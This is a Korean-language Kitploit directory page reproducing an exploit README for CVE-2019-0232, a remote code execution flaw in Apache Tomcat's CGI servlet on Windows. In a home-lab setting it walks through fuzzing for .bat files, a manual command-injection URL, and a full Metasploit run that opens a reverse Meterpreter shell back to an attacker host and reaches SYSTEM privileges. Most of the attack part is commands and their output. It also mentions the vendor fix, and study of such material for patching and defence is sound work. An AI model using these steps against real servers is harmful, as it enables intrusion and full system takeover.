Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-0232 — CVE-2019-0232 - Apache Tomcat 7.0.42 원격 코드 실행 | Kitploit
도구/GitHubGitHub/setrus/cve-2019-0232
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubsetrus/cve-2019-0232

CVE-2019-0232

CVE-2019-0232 - Apache Tomcat 7.0.42 원격 코드 실행

저장소 보기
207476년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-0232 익스플로잇 Windows의 Apache Tomcat CGI 서블릿에서의 원격 코드 실행 (RCE)

참조 : https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/

root@kitploit:~
Apache Tomcat은 CGI 서블릿에 취약점이 있어 원격 코드 실행(RCE)이 가능합니다. 이는 Windows에서 비기본 설정과 배치 파일을 함께 사용할 때만 악용될 수 있습니다.

공급업체는 Tomcat 7.0.94, 8.5.40, 9.0.19 버전에서 수정 사항을 출시했습니다. 사용자는 가능한 한 빨리 업그레이드하는 것이 좋습니다. CVE-2019-0232가 이 문제를 추적하기 위해 할당되었습니다.

이 취약점을 악용하려면 다음이 필요합니다:

Virtual Box: Windows 7 x86 Tomcat 7.0.42 Java JRE 설치됨

Tomcat 7.0.42를 설치한 후 다음과 같이 수정합니다.

Content of /webapps/ROOT/WEB-INF/

Alt Tag

cgi 폴더에 hello.bat과 test.bat 파일 2개를 만들었습니다.

Alt Tag

/conf/context.xml에 Context privileged=true 값을 추가해야 합니다.

Alt Tag

/conf/web.xml에서 다음 변경 사항을 적용합니다.

Alt Tag

and

Alt Tag

서버에 *bin 파일이 있는지 테스트

root@kitploit:~
root@setrus:~# wfuzz -c -z file,/usr/share/wordlists/rockyou.txt --hc 404 http://192.168.1.174:8080/cgi/FUZZ.bat Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.1.174:8080/cgi/FUZZ.bat Total requests: 14344392 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000060: C=200 1 L 1 W 14 Ch "hello" 006127: C=200 1 L 1 W 14 Ch "HELLO" 010616: C=404 0 L 0 W 0 Ch "bball11"^C

Alt Tag

수동 테스트 악용: http://localhost:8080/cgi/test.bat%20%20?&dir 로 이동

Alt Tag

이제 서버에서 명령을 실행할 수 있습니다.

Metasploit - 대상 시스템에서 셸 획득 대상 시스템에서 셸을 얻을 수 있는 metasploit 모듈이 있습니다: exploit/windows/http/tomcat_cgi_cmdlineargs

https://www.exploit-db.com/exploits/47073

참고: 익스플로잇이 작동하려면 bat 파일의 정확한 경로를 알아야 합니다.

root@kitploit:~
msf5 > search CVE-2019-0232

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/windows/http/tomcat_cgi_cmdlineargs  2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability

msf5 > use exploit/windows/http/tomcat_cgi_cmdlineargs
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > set targeturi /cgi/hello.battargeturi => /cgi/hello.bat
msf5 exploit(windows/http/tomcat_cgi_cmdlineargs) > exploit

[*] Started reverse TCP handler on 192.168.1.159:4444 
[*] Checking if 192.168.1.174 is vulnerable
[*] 192.168.1.174 seems vulnerable, what a good day.
[*] Command Stager progress -   6.95% done (6999/100668 bytes)
[*] Command Stager progress -  13.91% done (13998/100668 bytes)
[*] Command Stager progress -  20.86% done (20997/100668 bytes)
[*] Command Stager progress -  27.81% done (27996/100668 bytes)
[*] Command Stager progress -  34.76% done (34995/100668 bytes)
[*] Command Stager progress -  41.72% done (41994/100668 bytes)
[*] Command Stager progress -  48.67% done (48993/100668 bytes)
[*] Command Stager progress -  55.62% done (55992/100668 bytes)
[*] Command Stager progress -  62.57% done (62991/100668 bytes)
[*] Command Stager progress -  69.53% done (69990/100668 bytes)
[*] Command Stager progress -  76.48% done (76989/100668 bytes)
[*] Command Stager progress -  83.43% done (83988/100668 bytes)
[*] Command Stager progress -  90.38% done (90987/100668 bytes)
[*] Command Stager progress -  97.34% done (97986/100668 bytes)
[*] Sending stage (180291 bytes) to 192.168.1.174
[*] Command Stager progress - 100.02% done (100692/100668 bytes)
[*] Meterpreter session 1 opened (192.168.1.159:4444 -> 192.168.1.174:49185) at 2019-11-21 06:47:23 -0800

meterpreter > 
[!] Make sure to manually cleanup the exe generated by the exploit
meterpreter > shell
Process 2116 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\Apache Software Foundation\Tomcat 7.0_Tomcat7.0.42\webapps\ROOT\WEB-INF\cgi>whoami
whoami
nt authority\system

Alt Tag

도구 다운로드